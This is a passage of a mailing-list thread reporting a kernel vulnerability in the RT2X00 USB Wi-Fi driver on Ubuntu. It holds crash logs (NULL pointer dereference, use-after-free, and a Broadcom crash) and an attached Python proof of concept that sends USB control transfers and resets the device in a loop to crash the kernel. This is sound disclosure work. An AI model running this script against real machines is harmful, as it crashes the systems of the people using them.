[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ___sys_sendmsg+0x9a/0xf0
[  +0.000004]  ? kvfree+0x31/0x40
[  +0.000005]  __sys_sendmsg+0x89/0xf0
[  +0.000004]  __x64_sys_sendmsg+0x1d/0x30
[  +0.000002]  x64_sys_call+0x114d/0x20b0
[  +0.000002]  do_syscall_64+0x55/0x90
[  +0.000002]  ? __rseq_handle_notify_resume+0x37/0x70
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? exit_to_user_mode_loop+0xe5/0x130
[  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ? exit_to_user_mode_prepare+0x30/0xb0
[  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? syscall_exit_to_user_mode+0x37/0x60
[  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ? do_syscall_64+0x61/0x90
[  +0.000001]  ? do_syscall_64+0x61/0x90
[  +0.000003]  entry_SYSCALL_64_after_hwframe+0x73/0xdd
[  +0.000002] RIP: 0033:0x7bfb4872799d
[  +0.000005] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 6a 90 f6
ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05
<48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 ae 90 f6 ff 48
[  +0.000001] RSP: 002b:00007ffd73cd3280 EFLAGS: 00000293 ORIG_RAX:
000000000000002e
[  +0.000003] RAX: ffffffffffffffda RBX: 00000000000004a3 RCX:
00007bfb4872799d
[  +0.000001] RDX: 0000000000000000 RSI: 00007ffd73cd32c0 RDI:
000000000000000c
[  +0.000002] RBP: 000055d422a2e030 R08: 0000000000000000 R09:
0000000000000000
[  +0.000001] R10: 0000000000000000 R11: 0000000000000293 R12:
0000000000000000
[  +0.000001] R13: 00007ffd73cd3410 R14: 00007ffd73cd340c R15:
0000000000000000
[  +0.000004]  </TASK>
[  +0.000001] Modules linked in: rt2800usb rt2x00usb rt2800lib rt2x00lib
tcp_diag inet_diag bnep nfnetlink_queue nfnetlink_log bluetooth
ecdh_generic ecc usbmon nf_conntrack_netlink xfrm_user xfrm_algo
xt_addrtype br_netfilter ccm xt_CHECKSUM xt_MASQUERADE xt_conntrack
ipt_REJECT nf_reject_ipv4 xt_tcpudp nft_compat nft_chain_nat nf_nat
nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables libcrc32c nfnetlink
bridge stp llc overlay intel_rapl_msr intel_rapl_common
snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi
snd_hda_intel snd_intel_dspcfg mt7921u mt76x2u snd_intel_sdw_acpi
mt7921_common mt76x2_common edac_mce_amd amdgpu snd_hda_codec
mt76_connac_lib mt76x02_usb mt76x02_lib mt76_usb snd_hda_core kvm_amd
snd_hwdep mt76 binfmt_misc kvm snd_pcm irqbypass mac80211 crct10dif_pclmul
snd_seq_midi amdxcp polyval_clmulni snd_seq_midi_event iommu_v2
polyval_generic drm_buddy ghash_clmulni_intel sha256_ssse3 snd_rawmidi
gpu_sched sha1_ssse3 drm_suballoc_helper aesni_intel drm_ttm_helper
nls_iso8859_1 ttm crypto_simd
[  +0.000056]  snd_seq cryptd cfg80211 drm_display_helper snd_seq_device
snd_timer cec rapl rc_core joydev input_leds libarc4 drm_kms_helper
eeepc_wmi snd wmi_bmof i2c_algo_bit k10temp soundcore ccp mac_hid
sch_fq_codel msr parport_pc ppdev lp parport drm efi_pstore ip_tables
x_tables autofs4 hid_logitech_hidpp hid_logitech_dj hid_generic usbhid hid
mfd_aaeon asus_wmi video ledtrig_audio sparse_keymap platform_profile
crc32_pclmul nvme ahci i2c_piix4 r8169 xhci_pci libahci nvme_core
xhci_pci_renesas realtek nvme_common wmi
[  +0.000037] CR2: 00000000000011b0
[  +0.000002] ---[ end trace 0000000000000000 ]---
[  +0.164871] RIP: 0010:rt2x00usb_clear_entry+0x5/0x40 [rt2x00usb]
[  +0.000008] Code: d2 31 c9 31 f6 31 ff 45 31 c0 e9 e6 1a 90 e5 66 0f 1f
44 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00
<48> 8b 47 10 48 c7 07 00 00 00 00 83 78 10 0e 74 0b 31 c0 31 f6 31
[  +0.000003] RSP: 0018:ffffb0fe4126f5e0 EFLAGS: 00010206
[  +0.000003] RAX: ffffffffc20411f0 RBX: 000000000000005f RCX:
0000000000000000
[  +0.000002] RDX: 0000000000000000 RSI: 0000000000000000 RDI:
00000000000011a0
[  +0.000003] RBP: ffffb0fe4126f600 R08: 0000000000000000 R09:
0000000000000000
[  +0.000002] R10: 0000000000000000 R11: 0000000000000000 R12:
ffff919567fab4f0
[  +0.000002] R13: ffff9198efd9e060 R14: ffff9198efd9c900 R15:
ffff9196786a4000
[  +0.000002] FS:  00007bfb476a34c0(0000) GS:ffff91a42ee00000(0000)
knlGS:0000000000000000
[  +0.000002] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  +0.000002] CR2: 00000000000011b0 CR3: 000000011e4ce000 CR4: 00000



There is another point that we do not quite understand. We also triggered
this vulnerability on a Broadcom network card. However, the kernel message
indicated that the issue was due to the brcmfmac firmware. Using lsusb, we
discovered that this chip also uses the rt2x00 chipset. Could you please
clarify whether you can address this issue as well, or should we notify
Broadcom?

----------------------------- Broadcom crash log"

[ +0.709539] usb 3-1.4: reset high-speed USB device number 8 using xhci_hcd
[ +0.133374] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available
(err=-2), device may have limited channels available
[ +0.000007] brcmfmac: brcmf_c_process_txcap_blob: no txcap_blob available
(err=-2)
[ +0.000742] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM43236/3 wl0: Nov
30 2011 17:33:42 version 5.90.188.22
[ +0.056253] usb 3-1.4 wlxbc307eab1237: renamed from wlan0
[ +0.024459] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000006] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.003143] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000003] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.000003] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000001] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.003414] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000004] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.013322] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000003] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.000047] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000002] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.001726] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000003] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.000053] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000002] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.005724] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000004] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.082551] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000007] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.002798] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000004] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.009268] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000005] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.037693] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000007] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.004651] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
bsscfgidx=0
[ +0.000004] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
(69)
[ +0.740682] usb 3-1.4: reset high-speed USB device number 8 using xhci_hcd
[ +0.135285] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available
(err=-2), device may have limited channels available
[ +0.000007] brcmfmac: brcmf_c_process_txcap_blob: no txcap_blob available
(err=-2)
[ +0.000741] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM43236/3 wl0: Nov
30 2011 17:33:42 version 5.90.188.22
[ +0.015434] BUG: kernel NULL pointer dereference, address: 0000000000000360
[ +0.000004] #PF: supervisor read access in kernel mode
[ +0.000002] #PF: error_code(0x0000) - not-present page
[ +0.000003] PGD 0 P4D 0
[ +0.000006] Oops: 0000 [#1] PREEMPT SMP NOPTI
[ +0.000005] CPU: 0 PID: 19093 Comm: kworker/0:4 Tainted: G OE
6.5.0-41-generic #41~22.04.2-Ubuntu
[ +0.000005] Hardware name: System manufacturer System Product Name/TUF
GAMING X570-PLUS, BIOS 3603 03/20/2021
[ +0.000003] Workqueue: events brcmf_fweh_event_worker [brcmfmac]
[ +0.000024] RIP: 0010:brcmf_cfg80211_escan_handler+0x27/0x380 [brcmfmac]
[ +0.000017] Code: 90 90 90 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41
54 53 48 83 ec 20 4c 8b 17 44 8b 6e 08 4d 8b 72 20 41 83 fd 04 74 67 <49>
8b 86 60 03 00 00 48 89 fb a8 01 0f 84 b9 02 00 00 41 83 fd 08
[ +0.000003] RSP: 0018:ffffb44e061fbd20 EFLAGS: 00010202
[ +0.000003] RAX: 0000000000000000 RBX: ffff94582e9759c0 RCX:
ffffb44e061fbde8
[ +0.000003] RDX: ffff9456d574f450 RSI: ffffb44e061fbde8 RDI:
ffff94582e9759c0
[ +0.000002] RBP: ffffb44e061fbd68 R08: ffff9456d574f450 R09:
0000000000000000
[ +0.000003] R10: ffff9458bce3c900 R11: 0000000000000000 R12:
0000000000000045
[ +0.000002] R13: 0000000000000008 R14: 0000000000000000 R15:
0000000000000045
[ +0.000003] FS: 0000000000000000(0000) GS:ffff9465aea00000(0000)
knlGS:0000000000000000
[ +0.000003] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ +0.000002] CR2: 0000000000000360 CR3: 0000000210812000 CR4:
0000000000750ef0
[ +0.000003] PKRU: 55555554
[ +0.000002] Call Trace:
[ +0.000003] <TASK>
[ +0.000004] ? show_regs+0x6d/0x80
[ +0.000007] ? __die+0x24/0x80
[ +0.000005] ? page_fault_oops+0x99/0x1b0
[ +0.000006] ? do_user_addr_fault+0x31d/0x6b0
[ +0.000005] ? exc_page_fault+0x83/0x1b0
[ +0.000006] ? asm_exc_page_fault+0x27/0x30
[ +0.000008] ? brcmf_cfg80211_escan_handler+0x27/0x380 [brcmfmac]
[ +0.000016] ? srso_alias_return_thunk+0x5/0x7f
[ +0.000005] ? psi_group_change+0x230/0x570
[ +0.000006] ? __pfx_brcmf_cfg80211_escan_handler+0x10/0x10 [brcmfmac]
[ +0.000016] brcmf_fweh_call_event_handler+0x5c/0x110 [brcmfmac]
[ +0.000018] brcmf_fweh_event_worker+0x89/0x320 [brcmfmac]
[ +0.000016] ? raw_spin_rq_unlock+0x10/0x40
[ +0.000004] ? srso_alias_return_thunk+0x5/0x7f
[ +0.000004] ? finish_task_switch.isra.0+0x85/0x2a0
[ +0.000006] process_one_work+0x240/0x450
[ +0.000006] worker_thread+0x50/0x3f0
[ +0.000004] ? srso_alias_return_thunk+0x5/0x7f
[ +0.000005] ? __pfx_worker_thread+0x10/0x10
[ +0.000004] kthread+0xf2/0x120
[ +0.000005] ? __pfx_kthread+0x10/0x10
[ +0.000004] ret_from_fork+0x47/0x70
[ +0.000005] ? __pfx_kthread+0x10/0x10
[ +0.000005] ret_from_fork_asm+0x1b/0x30
[ +0.000007] </TASK>
[ +0.000003] Modules linked in: brcmfmac_wcc brcmfmac brcmutil
nf_conntrack_netlink xfrm_user xfrm_algo xt_addrtype br_netfilter
xt_CHECKSUM xt_MASQUERADE xt_conntrack ipt_REJECT nf_reject_ipv4 xt_tcpudp
nft_compat nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4
vboxnetadp(OE) vboxnetflt(OE) vboxdrv(OE) nf_tables libcrc32c nfnetlink
bridge stp llc overlay intel_rapl_msr intel_rapl_common
snd_hda_codec_realtek rt2800usb snd_hda_codec_generic snd_hda_codec_hdmi
rt2x00usb edac_mce_amd rt2800lib snd_hda_intel snd_intel_dspcfg rt2x00lib
snd_intel_sdw_acpi kvm_amd snd_hda_codec amdgpu mac80211 snd_hda_core
snd_hwdep kvm binfmt_misc snd_pcm irqbypass amdxcp crct10dif_pclmul
snd_seq_midi iommu_v2 cfg80211 nls_iso8859_1 polyval_clmulni
snd_seq_midi_event drm_buddy polyval_generic ghash_clmulni_intel libarc4
input_leds joydev gpu_sched sha256_ssse3 snd_rawmidi sha1_ssse3
drm_suballoc_helper drm_ttm_helper aesni_intel ttm crypto_simd snd_seq
cryptd drm_display_helper snd_seq_device rapl snd_timer cec rc_core snd
[ +0.000101] eeepc_wmi wmi_bmof drm_kms_helper k10temp i2c_algo_bit
soundcore ccp mac_hid sch_fq_codel msr parport_pc ppdev lp parport drm
efi_pstore ip_tables x_tables autofs4 hid_logitech_hidpp hid_logitech_dj
hid_generic usbhid hid mfd_aaeon asus_wmi video ledtrig_audio sparse_keymap
platform_profile crc32_pclmul nvme ahci i2c_piix4 r8169 xhci_pci nvme_core
libahci xhci_pci_renesas realtek nvme_common wmi
[ +0.000053] CR2: 0000000000000360
[ +0.000003] ---[ end trace 0000000000000000 ]---
[ +0.289680] RIP: 0010:brcmf_cfg80211_escan_handler+0x27/0x380 [brcmfmac]
[ +0.000044] Code: 90 90 90 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41
54 53 48 83 ec 20 4c 8b 17 44 8b 6e 08 4d 8b 72 20 41 83 fd 04 74 67 <49>
8b 86 60 03 00 00 48 89 fb a8 01 0f 84 b9 02 00 00 41 83 fd 08
[ +0.000005] RSP: 0018:ffffb44e061fbd20 EFLAGS: 00010202
[ +0.000005] RAX: 0000000000000000 RBX: ffff94582e9759c0 RCX:
ffffb44e061fbde8
[ +0.000004] RDX: ffff9456d574f450 RSI: ffffb44e061fbde8 RDI:
ffff94582e9759c0
[ +0.000003] RBP: ffffb44e061fbd68 R08: ffff9456d574f450 R09:
0000000000000000
[ +0.000003] R10: ffff9458bce3c900 R11: 0000000000000000 R12:
0000000000000045
[ +0.000003] R13: 0000000000000008 R14: 0000000000000000 R15:
0000000000000045
[ +0.000003] FS: 0000000000000000(0000) GS:ffff9465aea00000(0000)
knlGS:0000000000000000
[ +0.000004] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ +0.000004] CR2: 0000000000000360 CR3: 0000000210812000 CR4:
0000000000750ef0
[ +0.000003] PKRU: 55555554
[ +0.000003] note: kworker/0:4[19093] exited with irqs disabled
[ +0.036443] usb 3-1.4 wlxbc307eab1237: renamed from wlan0
[ +0.726413] ieee80211 phy34: brcmf_fil_cmd_data: bus is down. we have
nothing to do.
[ +0.000010] ieee80211 phy34: brcmf_notify_escan_complete: Scan abort failed

Here is the final part of the translation, including your request for a CVE
assignment:

[-- Attachment #1.2: Type: text/html, Size: 41253 bytes --]

[-- Attachment #2: poc.py --]
[-- Type: text/x-python, Size: 853 bytes --]

import usb.core
import usb.util
import time
import random

dev = usb.core.find(idVendor=0x148f, idProduct=0x3572)
if dev is None:
    raise ValueError("Device not found")


def send_ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_length):
    try:
        data = bytes([0xFF] * data_length)
        print(
            f"Sending: bmRequestType={bmRequestType}, bRequest={bRequest}, wValue={wValue}, wIndex={wIndex}, data={data}")
        send = dev.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data)
    except Exception as e:
        print(f"Error: {e}")


requests = [
    (0x00, 0x00, 0x0000, 0x0000, 1),
]

for i in range(100):
    for bmRequestType, bRequest, wValue, wIndex, data_length in requests:
        send_ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_length)
        time.sleep(0.1)
        dev.reset()

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Mark Esler]

[-- Attachment #1: Type: text/plain, Size: 42257 bytes --]

Please see discussion in https://bugs.launchpad.net/ubuntu/+source/linux/+bug/2073500

On Fri, Aug 02, 2024 at 03:57:47PM +0800, color Ice wrote:
> Dear RT2X00 driver maintainers,
> 
> We have discovered a critical vulnerability in the RT2X00 driver. We
> recommend urgently submitting an update.
> 
> *Vulnerability Description*: When a PC is running Ubuntu 22.04 or 24.04,
> executing our proof of concept (POC) can directly cause a null pointer
> dereference or use-after-free (UAF). The systems we tested were:
> 
>    - *Description*: Ubuntu 22.04.4 LTS *Release*: 22.04
>    - *Description*: Ubuntu 24.04 LTS *Release*: 24.04
> 
> We tested network cards from the RT2870/RT3070/RT5370 series, which all
> belong to the RT2X00 driver group, and all were able to trigger the
> vulnerability. Additionally, executing the POC requires only user-level
> privileges. Debian systems are not affected.

It is unclear if Ubuntu is the only affected distro.

> Now, there are a few issues that need to be discussed. When executing the
> POC on different PCs, it not only triggers a null pointer dereference but
> also occasionally triggers a use-after-free (UAF) issue. You can test this
> issue yourselves.
> 
> *POC Execution Method*:
> 
> python3 poc.py
> 
> Some systems might be affected by the time.sleep function. If you cannot
> successfully reproduce the issue, please modify time.sleep(0.1) in the
> script to time.sleep(0.2). Below, I will provide the logs of the null
> pointer dereference and UAF from our kernel for analysis.
> 
> Replace the VID and PID with your USB network card ID, which you can check
> using lsusb.
> 
> --------------
> 
> 
> Crash Log-Null Pointer
> 
> 
> [  371.188382] ieee80211 phy23: rt2x00lib_request_firmware: Info - Loading
> firmware file 'rt2870.bin'
> [  371.188467] ieee80211 phy23: rt2x00lib_request_firmware: Info - Firmware
> detected - version: 0.36
> [  371.258315] BUG: kernel NULL pointer dereference, address:
> 0000000000000038
> [  371.258324] #PF: supervisor write access in kernel mode
> [  371.258328] #PF: error_code(0x0002) - not-present page
> [  371.258330] PGD 0 P4D 0
> [  371.258335] Oops: 0002 [#1] PREEMPT SMP NOPTI
> [  371.258339] CPU: 8 PID: 144 Comm: kworker/u40:2 Not tainted
> 6.8.0-40-generic #40~22.04.2-Ubuntu
> [  371.258344] Hardware name: Dell Inc. Vostro 3710/072TMP, BIOS 1.1.66
> 06/22/2022
> [  371.258346] Workqueue: phy23 rt2x00usb_work_rxdone [rt2x00usb]
> [  371.258363] RIP: 0010:rt2x00usb_work_rxdone+0x5f/0xc0 [rt2x00usb]
> [  371.258374] Code: 00 48 c7 45 d0 00 00 00 00 48 c7 45 d8 00 00 00 00 48
> c7 45 e0 00 00 00 00 74 45 4c 8d 65 c8 eb 2b 48 8b 47 18 be c0 0c 00 00
> <4c> 89 60 38 48 8b 57 10 0f b6 52 6a 88 50 31 e8 8d cc ec ff 48 8b
> [  371.258377] RSP: 0018:ffffa1de4063fe08 EFLAGS: 00010246
> [  371.258381] RAX: 0000000000000000 RBX: ffff8b1ef7366a90 RCX:
> 0000000000000000
> [  371.258383] RDX: 0000000000000000 RSI: 0000000000000cc0 RDI:
> ffff8b1d0be0e000
> [  371.258386] RBP: ffffa1de4063fe40 R08: 0000000000000000 R09:
> 0000000000000000
> [  371.258388] R10: 0000000000000000 R11: 0000000000000000 R12:
> ffffa1de4063fe08
> [  371.258390] R13: ffff8b1d001fcc00 R14: ffff8b1d0a838e05 R15:
> ffff8b1ef7366a90
> [  371.258392] FS:  0000000000000000(0000) GS:ffff8b207f600000(0000)
> knlGS:0000000000000000
> [  371.258395] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [  371.258397] CR2: 0000000000000038 CR3: 000000044d43c000 CR4:
> 0000000000f50ef0
> [  371.258400] PKRU: 55555554
> [  371.258402] Call Trace:
> [  371.258405]  <TASK>
> [  371.258408]  ? show_regs+0x6d/0x80
> [  371.258416]  ? __die+0x24/0x80
> [  371.258419]  ? page_fault_oops+0x99/0x1b0
> [  371.258425]  ? do_user_addr_fault+0x2ed/0x670
> [  371.258430]  ? exc_page_fault+0x83/0x1b0
> [  371.258437]  ? asm_exc_page_fault+0x27/0x30
> [  371.258444]  ? rt2x00usb_work_rxdone+0x5f/0xc0 [rt2x00usb]
> [  371.258454]  ? rt2x00usb_work_rxdone+0x8b/0xc0 [rt2x00usb]
> [  371.258463]  process_one_work+0x16c/0x350
> [  371.258470]  worker_thread+0x306/0x440
> [  371.258476]  ? __pfx_worker_thread+0x10/0x10
> [  371.258482]  kthread+0xef/0x120
> [  371.258486]  ? __pfx_kthread+0x10/0x10
> [  371.258491]  ret_from_fork+0x44/0x70
> [  371.258495]  ? __pfx_kthread+0x10/0x10
> [  371.258499]  ret_from_fork_asm+0x1b/0x30
> [  371.258505]  </TASK>
> [  371.258506] Modules linked in: ccm snd_hda_codec_hdmi rfcomm xe
> snd_hda_codec_cs8409 snd_hda_codec_generic drm_gpuvm drm_exec gpu_sched
> drm_suballoc_helper drm_ttm_helper cmac algif_hash overlay algif_skcipher
> af_alg bnep intel_uncore_frequency intel_uncore_frequency_common
> snd_sof_pci_intel_tgl x86_pkg_temp_thermal snd_sof_intel_hda_common
> intel_powerclamp coretemp soundwire_intel snd_sof_intel_hda_mlink
> soundwire_cadence snd_sof_intel_hda kvm_intel snd_sof_pci
> snd_sof_xtensa_dsp snd_sof kvm snd_sof_utils snd_soc_hdac_hda
> snd_hda_ext_core snd_soc_acpi_intel_match snd_soc_acpi
> soundwire_generic_allocation irqbypass soundwire_bus crct10dif_pclmul
> polyval_clmulni polyval_generic ghash_clmulni_intel binfmt_misc
> snd_usb_audio snd_soc_core sha256_ssse3 sha1_ssse3 snd_usbmidi_lib
> aesni_intel rtw88_8821ce snd_compress snd_ump ac97_bus mc rtw88_8821c
> rt2800usb snd_pcm_dmaengine rtw88_pci rt2x00usb crypto_simd cryptd
> snd_hda_intel rt2800lib dell_wmi snd_seq_midi snd_intel_dspcfg rtw88_core
> snd_intel_sdw_acpi snd_seq_midi_event
> [  371.258573]  rt2x00lib dell_smbios rapl snd_hda_codec btusb snd_rawmidi
> mei_pxp mei_hdcp intel_rapl_msr dcdbas nls_iso8859_1 intel_cstate i915
> mac80211 snd_hda_core dell_wmi_ddv btrtl snd_seq dell_smm_hwmon
> processor_thermal_device_pci snd_hwdep btintel cmdlinepart
> processor_thermal_device drm_buddy dell_wmi_sysman btbcm ledtrig_audio
> processor_thermal_wt_hint ttm firmware_attributes_class sparse_keymap
> dell_wmi_descriptor wmi_bmof snd_pcm spi_nor btmtk processor_thermal_rfim
> snd_seq_device mtd ee1004 snd_timer drm_display_helper
> processor_thermal_rapl cfg80211 bluetooth intel_rapl_common cec snd mei_me
> pl2303 processor_thermal_wt_req rc_core ecdh_generic
> processor_thermal_power_floor usbserial input_leds joydev mei i2c_algo_bit
> libarc4 ecc soundcore processor_thermal_mbox int340x_thermal_zone
> intel_pmc_core intel_vsec int3400_thermal pmt_telemetry acpi_thermal_rel
> pmt_class acpi_tad acpi_pad mac_hid sch_fq_codel msr parport_pc ppdev lp
> parport efi_pstore ip_tables x_tables autofs4 hid_generic usbhid hid nvme
> [  371.258648]  crc32_pclmul i2c_i801 spi_intel_pci nvme_core i2c_smbus
> r8169 spi_intel ahci nvme_auth xhci_pci video xhci_pci_renesas libahci
> realtek wmi
> [  371.258665] CR2: 0000000000000038
> [  371.258668] ---[ end trace 0000000000000000 ]---
> [  371.785813] RIP: 0010:rt2x00usb_work_rxdone+0x5f/0xc0 [rt2x00usb]
> [  371.785851] Code: 00 48 c7 45 d0 00 00 00 00 48 c7 45 d8 00 00 00 00 48
> c7 45 e0 00 00 00 00 74 45 4c 8d 65 c8 eb 2b 48 8b 47 18 be c0 0c 00 00
> <4c> 89 60 38 48 8b 57 10 0f b6 52 6a 88 50 31 e8 8d cc ec ff 48 8b
> [  371.785854] RSP: 0018:ffffa1de4063fe08 EFLAGS: 00010246
> [  371.785861] RAX: 0000000000000000 RBX: ffff8b1ef7366a90 RCX:
> 0000000000000000
> [  371.785863] RDX: 0000000000000000 RSI: 0000000000000cc0 RDI:
> ffff8b1d0be0e000
> [  371.785864] RBP: ffffa1de4063fe40 R08: 0000000000000000 R09:
> 0000000000000000
> [  371.785866] R10: 0000000000000000 R11: 0000000000000000 R12:
> ffffa1de4063fe08
> [  371.785867] R13: ffff8b1d001fcc00 R14: ffff8b1d0a838e05 R15:
> ffff8b1ef7366a90
> [  371.785868] FS:  0000000000000000(0000) GS:ffff8b207f600000(0000)
> knlGS:0000000000000000
> [  371.785870] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [  371.785872] CR2: 0000000000000038 CR3: 000000011dc92000 CR4:
> 0000000000f50ef0
> [  371.785873] PKRU: 55555554
> [  371.785876] note: kworker/u40:2[144] exited with irqs disabled
> [  371.793418] ieee80211 phy23: rt2800_wait_bbp_ready: Error - BBP register
> access failed, aborting
> [  371.793422] ieee80211 phy23: rt2800usb_set_device_state: Error - Device
> failed to enter state 4 (-5)
> [  371.799526] systemd-journald[438]: Compressed data object 1029 -> 509
> using ZSTD
> [  371.799553] systemd-journald[438]: Compressed data object 1020 -> 543
> using ZSTD
> [  387.857111] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.857138] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.861450] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.861472] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.865327] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.865344] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.872995] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.873032] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.961986] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  387.962012] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  388.018331] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  388.018398] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  388.067180] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  388.067201] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  388.323049] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  388.323086] systemd-journald[438]: Successfully sent stream file
> descriptor to service manager.
> [  453.167476] systemd-journald[438]: Sent WATCHDOG=1 notification.
> 
> 
> 
> LOG-Crash-2:UAF
> 
> 
> 
> [  +0.000002] refcount_t: addition on 0; use-after-free.
> [  +0.000006] WARNING: CPU: 16 PID: 754 at lib/refcount.c:25
> refcount_warn_saturate+0x12e/0x150
> [  +0.000007] Modules linked in: rt2800usb rt2x00usb rt2800lib rt2x00lib
> tcp_diag inet_diag bnep nfnetlink_queue nfnetlink_log bluetooth
> ecdh_generic ecc usbmon nf_conntrack_netlink xfrm_user xfrm_algo
> xt_addrtype br_netfilter ccm xt_CHECKSUM xt_MASQUERADE xt_conntrack
> ipt_REJECT nf_reject_ipv4 xt_tcpudp nft_compat nft_chain_nat nf_nat
> nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables libcrc32c nfnetlink
> bridge stp llc overlay intel_rapl_msr intel_rapl_common
> snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi
> snd_hda_intel snd_intel_dspcfg mt7921u mt76x2u snd_intel_sdw_acpi
> mt7921_common mt76x2_common edac_mce_amd amdgpu snd_hda_codec
> mt76_connac_lib mt76x02_usb mt76x02_lib mt76_usb snd_hda_core kvm_amd
> snd_hwdep mt76 binfmt_misc kvm snd_pcm irqbypass mac80211 crct10dif_pclmul
> snd_seq_midi amdxcp polyval_clmulni snd_seq_midi_event iommu_v2
> polyval_generic drm_buddy ghash_clmulni_intel sha256_ssse3 snd_rawmidi
> gpu_sched sha1_ssse3 drm_suballoc_helper aesni_intel drm_ttm_helper
> nls_iso8859_1 ttm crypto_simd
> [  +0.000095]  snd_seq cryptd cfg80211 drm_display_helper snd_seq_device
> snd_timer cec rapl rc_core joydev input_leds libarc4 drm_kms_helper
> eeepc_wmi snd wmi_bmof i2c_algo_bit k10temp soundcore ccp mac_hid
> sch_fq_codel msr parport_pc ppdev lp parport drm efi_pstore ip_tables
> x_tables autofs4 hid_logitech_hidpp hid_logitech_dj hid_generic usbhid hid
> mfd_aaeon asus_wmi video ledtrig_audio sparse_keymap platform_profile
> crc32_pclmul nvme ahci i2c_piix4 r8169 xhci_pci libahci nvme_core
> xhci_pci_renesas realtek nvme_common wmi
> [  +0.000063] CPU: 16 PID: 754 Comm: NetworkManager Not tainted
> 6.5.0-41-generic #41~22.04.2-Ubuntu
> [  +0.000003] Hardware name: System manufacturer System Product Name/TUF
> GAMING X570-PLUS, BIOS 3603 03/20/2021
> [  +0.000001] RIP: 0010:refcount_warn_saturate+0x12e/0x150
